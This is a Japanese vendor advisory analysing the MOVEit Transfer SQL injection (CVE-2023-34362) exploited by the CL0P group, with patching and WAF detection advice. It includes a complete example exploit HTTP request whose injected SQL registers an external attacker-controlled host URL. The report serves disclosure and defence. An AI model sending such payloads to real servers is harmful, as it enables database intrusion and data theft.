[2024年6月脆弱性レポート] MOVEit Transfer SQLインジェクション(CVE-2023-34362) | Cloud-Based Platform AIONCLOUD

Threat Intelligence Report

Get up-to-date information on web application vulnerabilities, attacks, and how to respond.

Back to Threat Intelligence Report

[2024年6月脆弱性レポート] MOVEit Transfer SQLインジェクション(CVE-2023-34362)

TAチームが "MOVEit Transfer SQL Injection(CVE-2023-34362) "を解析して書いた脆弱性レポート。


この脆弱性は、CL0Pランサムウェアグループによって悪用され、大きな被害をもたらす攻撃である。悪意のあるユーザーは、この脆弱性を利用してデータを流出させ、盗まれたファイルに対して金銭を要求しました。
この脆弱性は、SQLインジェクションと呼ばれる手法により、認証されていない攻撃者が企業のデータベースにアクセスし、操作することを可能にし、深刻なデータ漏洩、機密情報の損失、深刻なサービスの中断をもたらす可能性がある。加えて、アクセスのしやすさや多様性にも優れているため、今回の攻撃以外にも追加攻撃が発生する可能性があります。

本脆弱性は、13.0.7、14.0.5、14.1.6、15.0.2および最新版へのアップデートにより対処可能であり、通常、弊社AIWAF製品のMOVEitパターン検知により検知されます。


 

概要

CVE-2023-34362は、最近問題となったMOVEit TransferウェブアプリケーションにおけるSQLインジェクション攻撃です。この脆弱性はCL0Pランサムウェアグループによって利用され、大きな問題となっています。

 

image.png

 


 

攻撃プロセス

 

召喚

脆弱な機能へのパスは、UserGetUsersWithEmailAddress()関数内のGeustAccess.aspxへの認証されていない呼び出しを通してであり、関連する呼び出しの完全なコールチェーンを以下に示します。

 

image.png

 

セッション

脆弱な機能に到達するために必要なコールチェーンとすべての変数設定の深い分析には立ち入りませんが、セッション変数を操作するアクセスで何が変わったかの鍵は、GeustAccess の始まりである SILGuestAccess.aspx にあります。

主な関数呼び出しは this.m_pkginfo.LoadFromSession()で、これは影響を受ける可能性のあるセッション変数に変数を設定します。

 

image.png

 

説明 LoadFromSession() は、セッションから変数をロードします。

 

ソース https://www.horizon3.ai/attack-research/attack-blogs/moveit-transfer-cve-2023-34362

 

クエリー

SQL インジェクションをトリガーするには、まず、movitisapi.dll?action=m2 > SILMachine2(machine2.aspx) > SetAllSessionVarsFromHeaders()のパスを通してペイロードを MyPkgSelfProvisionDips 環境変数に入れ、次に GuestAccess.aspx を通してそれを SelfProvisionDips にコピーする。

SelfProvisionedRecips 値は、その後、電子メールアドレスのカンマ区切りリストに解析され、UserGetUsersWithEmailAddress() に渡され、解析および削除解除された後、AND Email='...' 値で構成される SQL クエリに挿入され、ランダムなクエリが実行されます。

 

SELECT Username, Permissions, LoginName, Email FROM users WHERE InstID=9389 AND Deleted=0 AND (Email='<EmailAddress>' OR Email LIKE (%EscapeLikeForSQL(<EmailAddress>)) or Email LIKE (EscapeLikeForSQL(<EmailAddress>));

 

攻撃構文

上記の前提条件が満たされると、攻撃構文が生成され、脆弱なサーバーにリクエストが送られる。

 

ex)

POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
xx-silock-transaction: folder_add_by_path
X-siLock-Transaction: session_setvars
X-siLock-SessVar0: MyPkgID: 0
X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO `userexternaltokens` (`TokenId`) VALUES ('exchange__https://kd5cvqi7mbey62lcxiypj2lxxu0kofsk.lambda-url.us-east-2.on.aws/'); -- asdf
Content-Length: 0

 


 

応答

 

MOVEit Transfer の SQL インジェクション(CVE-2023-34362)に対する一般的な対応方法は以下の 2 通りです。

* MOVEit Transfer環境へのHTTP/HTTPSトラフィックをすべて無効にする。

* MOVEit Transfer の最新バージョンにパッチを適用する。

弊社の AIWAF 製品は、「MOVEit Privilege Escalation Vulnerability」というパターンでこの脆弱性を悪用する攻撃構文を検出しています。

 


 

結論

 

CL0Pランサムウェア・グループが主導するMOVEit事件は、しばらくの間サイバーセキュリティ・ニュースを席巻し、1,000以上の組織が影響を受けた。この数は今後も増え続けると予想され、2021年のSolarWinds以来、最も強力なソフトウェア・サプライチェーン攻撃の1つとなっている。

MOVEit製品に関連する脆弱性は、そのアクセシビリティと多様性に比例して影響の大きい脆弱性であり、その影響を軽減するためには迅速な対応が必要となるため、定期的なチェックとアップデートが必要です。

当社のAIWAF製品は、MOVEit製品関連の脆弱性に対応するためのパターンを多数開発しており、今後もMOVEit製品関連の脆弱性が発見された場合には、迅速に対応していきます。

 


 

参考文献

 

Scroll Up